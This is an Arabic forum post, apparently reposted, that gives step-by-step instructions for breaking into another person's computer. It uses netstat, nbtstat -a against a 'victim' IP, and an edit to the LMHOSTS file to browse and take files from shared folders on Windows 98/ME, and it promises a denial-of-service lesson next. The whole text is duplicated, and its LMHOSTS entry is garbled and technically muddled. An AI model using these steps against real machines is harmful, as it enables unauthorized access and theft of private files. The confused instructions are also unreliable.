من طرف الموضوع منقول: طريقة اختراق جهاز متصل بالانترنت بدون برامج مساعدة الثلاثاء أبريل 21, 2009 1:14 pm
ملحوظ .. ايه الاخو الكرام هذه الطريق تحتاج الي
windows
98 $ me
السلام عليكم شباب
اعرف ان هذه الطريقة صعبة ولكنها فعالة بس تحتاج الي جهد مضاعف وستنجحون.
تحتاج الي :
1- معرفة ب Netstat وتقدر تدخل عليها من windows وبعدين programs وبعدين Ms dos ولما يطلع موجه الدوس اكتب الاتي :
netstat -a
رايح تطلع لك قائمة طويلة تضم الاتصاللات المباشرة بينك وبين السيرفرات المتصل بها مثلا هذا عرض لما سيكون عليه الشكل:
|Proto| |LocalAddress| |Foreign Address| |State|
________|____ _______|_________ _________|_________ _______|__
|Protocol used|| Your computer ||The RemoteComputer||Connection|
|(TCP or UDP) || address. In the || address. In the ||State of |
|_____________|| format: IP:Port ||format: IP: Port or||theport. |
|or compname:Port || compname:Port. ||__________|
|Ex: klemd:5190 or||Ex:www.yahoo.com:80 (http://www.yahoo.com/)|
|22.34.12.132:138 ||or 23.132.12.46:80 |
|_________________||___________________|
طبعا رايح تسوي اتصال مباشر بينك بين اللي تبي تخترق جهازه علشان تجيب الاي بي تبعهIP ولان هذا يتم بعدة طرق لا مجال لشرحها هنا ولكني ساوضحها في موضوع اخر باذن الله . المهم الاتصال المباشر يمكن يتم اذا صار انتقال لملف منك اليه او العكس او جري بينك وبينه حديث بالصوت عبر المسنجر الياهو او الهوت ميل او اي مسنجر اخر مثل AIM او ICQ ..
بعد ما تحصل الاي بي تبع الضحية عليك بالتالي تروح لموجه الدوس MsDos وتكتب
حق الضحيةc:\NBTSTAT -a ( IP
من دون الاقواس
سوف تتحصل علي شئ من اثنين :
1- host not found
وهذ يعني ان النظام غير قابل للاختراق ( بهذه الطريقة.. شعرانا انه لا جدار امني في العالم الا وفيه ثغرة)
او 2- تلقا الاتي يطلع لك
NetBIOS Local Name Table
Name Type Status
---------------------------------------------
GMVPS01 <00> UNIQUERegistered
WORKGROUP <00> GROUP Registered
GMVPS01 <03> UNIQUE Registered
GMVPS01 <20> UNIQUE Registered
WORKGROUP <1E> GROUP Registered
هناك الكثير من المعلومات يمكن استنتاجها من هذه الكلمات مثلا تلقا الهوست نيم والرقم 20 في GMVPS01 يعني ان الملفات الموجودة عندها فيها مشاركة طبعا رايح تقدر تدخل عليها ..
الان كيف ندخل علي الكمبيوتر بعد ان تاكدنا انه سهل الاختراق.
تحتاج الي تغيير في ملف في الوندوز اسمه LMHOST.sam ابحث عنه في البحث وسوف تجده افتحه بواسطة محرر نصوص عادي Notebad سوف تجد فيه التالي:
# This file is compatible with Microsoft LAN Manager 2.xTCP/IP lmhosts
# files and offers the following extension
#
# #PRE
# #DOM:
# #INCLUDE
# #BEGIN_ALTERNATE
# #END_ALTERNATE
# \0xnn (non-printing character support)
#
# Following any entry in thefile with the characters "#PRE" will cause
# the entry to be preloaded intothe name cache. By default, entries are
# not preloaded, but are parsed onlyafter dynamic name resolution fails.
#
# Following an entry with the "#DOM:" tag will associate the
# entry with the domain specified by . Thisaffects how the
# browser and logon services behave in TCP/IP environments. To preload
# the host name associated with #DOM entry, it is necessary toalso add a
# #PRE to the line. The is always preloaded although it will not
# be shown when the name cache is viewed.
#
# Specifying "#INCLUDE " will force the RFC NetBIOS (NBT)
# software to seek the specified and parseit as if it were
# local. is generally a UNC-based name, allowing a
# centralized lmhosts file to be maintained on a server.
# It is ALWAYSnecessary to provide a mapping for the IP address of the
# server prior tothe #INCLUDE. This mapping must use the #PRE directive.
# In addtion theshare "public" in the example below must be in the
# LanManServer list of "NullSessionShares" in order for client machines to
# be able to read thelmhosts file successfully. This key is under
# \machine\system\currentcontrolset\services\lanmans
erver\parameters\nullsessionshares
# in the registry. Simply add "public" to the list found there.
#
# The #BEGIN_ and #END_ALTERNATEkeywords allow multiple #INCLUDE
# statements to be grouped together. Anysingle successful include
# will cause the group to succeed.
#
# Finally, non-printing characters can be embedded in mappings by
# firstsurrounding the NetBIOS name in quotations, then using the
# \0xnn notationto specify a hex value for a non-printing character.
طبعا تحتاج لدراسة الملف دراسة عميقة ثم تضيف فيه عن السطر التالي
#PRE #DOM:255.102.255.102 #INCLUDE
طبعا اللون الاحمر سيكون الاي بي تبع الضحية الان بعد ان اتممنا كل شئ نعمل التالي لندخل علي الجهاز تبع الضحية..
نروح علي Networknighborhood ونعمل رايت كليك right click نختار سيرش او بحث عن كمبيوتر Search for computer
ادخل في المكان المخصص الاي بي ادريس تبع جهاز الضحية واضغط انتر Enter وانتظر للحظة
سوف تقوم الان بتصفح جهاز الضحية وكانه جهازك وسوف تاخد ما تريد لكن فقط للملفات اللي تدعم Share . طيب اذا لم يكن هناك Shared Floders يعني لا وجود للرقم 20 ..اذن انت تحتاج الي معرفة بشئ جديد اسمه DoS Attack او اختصار لي Dinal OfService وسوف اشرحه في موضوع اخر.
اخيرا:
انني غير مسئول عن اي تخريب او تدمير قد ينشا من هذه الطريقة لجهازك او اجهزة الغير لان الطريقة فقط وضعت لجعلك واعيا بطرق الاتصال عبر الشبكات المحلية والعالمية ..[u]
ملحوظ .. ايه الاخو الكرام هذه الطريق تحتاج الي
windows
98 $ me
السلام عليكم شباب
اعرف ان هذه الطريقة صعبة ولكنها فعالة بس تحتاج الي جهد مضاعف وستنجحون.
تحتاج الي :
1- معرفة ب Netstat وتقدر تدخل عليها من windows وبعدين programs وبعدين Ms dos ولما يطلع موجه الدوس اكتب الاتي :
netstat -a
رايح تطلع لك قائمة طويلة تضم الاتصاللات المباشرة بينك وبين السيرفرات المتصل بها مثلا هذا عرض لما سيكون عليه الشكل:
|Proto| |LocalAddress| |Foreign Address| |State|
________|____ _______|_________ _________|_________ _______|__
|Protocol used|| Your computer ||The RemoteComputer||Connection|
|(TCP or UDP) || address. In the || address. In the ||State of |
|_____________|| format: IP:Port ||format: IP: Port or||theport. |
|or compname:Port || compname:Port. ||__________|
|Ex: klemd:5190 or||Ex:www.yahoo.com:80 (http://www.yahoo.com/)|
|22.34.12.132:138 ||or 23.132.12.46:80 |
|_________________||___________________|
طبعا رايح تسوي اتصال مباشر بينك بين اللي تبي تخترق جهازه علشان تجيب الاي بي تبعهIP ولان هذا يتم بعدة طرق لا مجال لشرحها هنا ولكني ساوضحها في موضوع اخر باذن الله . المهم الاتصال المباشر يمكن يتم اذا صار انتقال لملف منك اليه او العكس او جري بينك وبينه حديث بالصوت عبر المسنجر الياهو او الهوت ميل او اي مسنجر اخر مثل AIM او ICQ ..
بعد ما تحصل الاي بي تبع الضحية عليك بالتالي تروح لموجه الدوس MsDos وتكتب
حق الضحيةc:\NBTSTAT -a ( IP
من دون الاقواس
سوف تتحصل علي شئ من اثنين :
1- host not found
وهذ يعني ان النظام غير قابل للاختراق ( بهذه الطريقة.. شعرانا انه لا جدار امني في العالم الا وفيه ثغرة)
او 2- تلقا الاتي يطلع لك
NetBIOS Local Name Table
Name Type Status
---------------------------------------------
GMVPS01 <00> UNIQUERegistered
WORKGROUP <00> GROUP Registered
GMVPS01 <03> UNIQUE Registered
GMVPS01 <20> UNIQUE Registered
WORKGROUP <1E> GROUP Registered
هناك الكثير من المعلومات يمكن استنتاجها من هذه الكلمات مثلا تلقا الهوست نيم والرقم 20 في GMVPS01 يعني ان الملفات الموجودة عندها فيها مشاركة طبعا رايح تقدر تدخل عليها ..
الان كيف ندخل علي الكمبيوتر بعد ان تاكدنا انه سهل الاختراق.
تحتاج الي تغيير في ملف في الوندوز اسمه LMHOST.sam ابحث عنه في البحث وسوف تجده افتحه بواسطة محرر نصوص عادي Notebad سوف تجد فيه التالي:
# This file is compatible with Microsoft LAN Manager 2.xTCP/IP lmhosts
# files and offers the following extension
#
# #PRE
# #DOM:
# #INCLUDE
# #BEGIN_ALTERNATE
# #END_ALTERNATE
# \0xnn (non-printing character support)
#
# Following any entry in thefile with the characters "#PRE" will cause
# the entry to be preloaded intothe name cache. By default, entries are
# not preloaded, but are parsed onlyafter dynamic name resolution fails.
#
# Following an entry with the "#DOM:" tag will associate the
# entry with the domain specified by . Thisaffects how the
# browser and logon services behave in TCP/IP environments. To preload
# the host name associated with #DOM entry, it is necessary toalso add a
# #PRE to the line. The is always preloaded although it will not
# be shown when the name cache is viewed.
#
# Specifying "#INCLUDE " will force the RFC NetBIOS (NBT)
# software to seek the specified and parseit as if it were
# local. is generally a UNC-based name, allowing a
# centralized lmhosts file to be maintained on a server.
# It is ALWAYSnecessary to provide a mapping for the IP address of the
# server prior tothe #INCLUDE. This mapping must use the #PRE directive.
# In addtion theshare "public" in the example below must be in the
# LanManServer list of "NullSessionShares" in order for client machines to
# be able to read thelmhosts file successfully. This key is under
# \machine\system\currentcontrolset\services\lanmans
erver\parameters\nullsessionshares
# in the registry. Simply add "public" to the list found there.
#
# The #BEGIN_ and #END_ALTERNATEkeywords allow multiple #INCLUDE
# statements to be grouped together. Anysingle successful include
# will cause the group to succeed.
#
# Finally, non-printing characters can be embedded in mappings by
# firstsurrounding the NetBIOS name in quotations, then using the
# \0xnn notationto specify a hex value for a non-printing character.
طبعا تحتاج لدراسة الملف دراسة عميقة ثم تضيف فيه عن السطر التالي
#PRE #DOM:255.102.255.102 #INCLUDE
طبعا اللون الاحمر سيكون الاي بي تبع الضحية الان بعد ان اتممنا كل شئ نعمل التالي لندخل علي الجهاز تبع الضحية..
نروح علي Networknighborhood ونعمل رايت كليك right click نختار سيرش او بحث عن كمبيوتر Search for computer
ادخل في المكان المخصص الاي بي ادريس تبع جهاز الضحية واضغط انتر Enter وانتظر للحظة
سوف تقوم الان بتصفح جهاز الضحية وكانه جهازك وسوف تاخد ما تريد لكن فقط للملفات اللي تدعم Share . طيب اذا لم يكن هناك Shared Floders يعني لا وجود للرقم 20 ..اذن انت تحتاج الي معرفة بشئ جديد اسمه DoS Attack او اختصار لي Dinal OfService وسوف اشرحه في موضوع اخر.
اخيرا:
انني غير مسئول عن اي تخريب او تدمير قد ينشا من هذه الطريقة لجهازك او اجهزة الغير لان الطريقة فقط وضعت لجعلك واعيا بطرق الاتصال عبر الشبكات المحلية والعالمية ..[u]
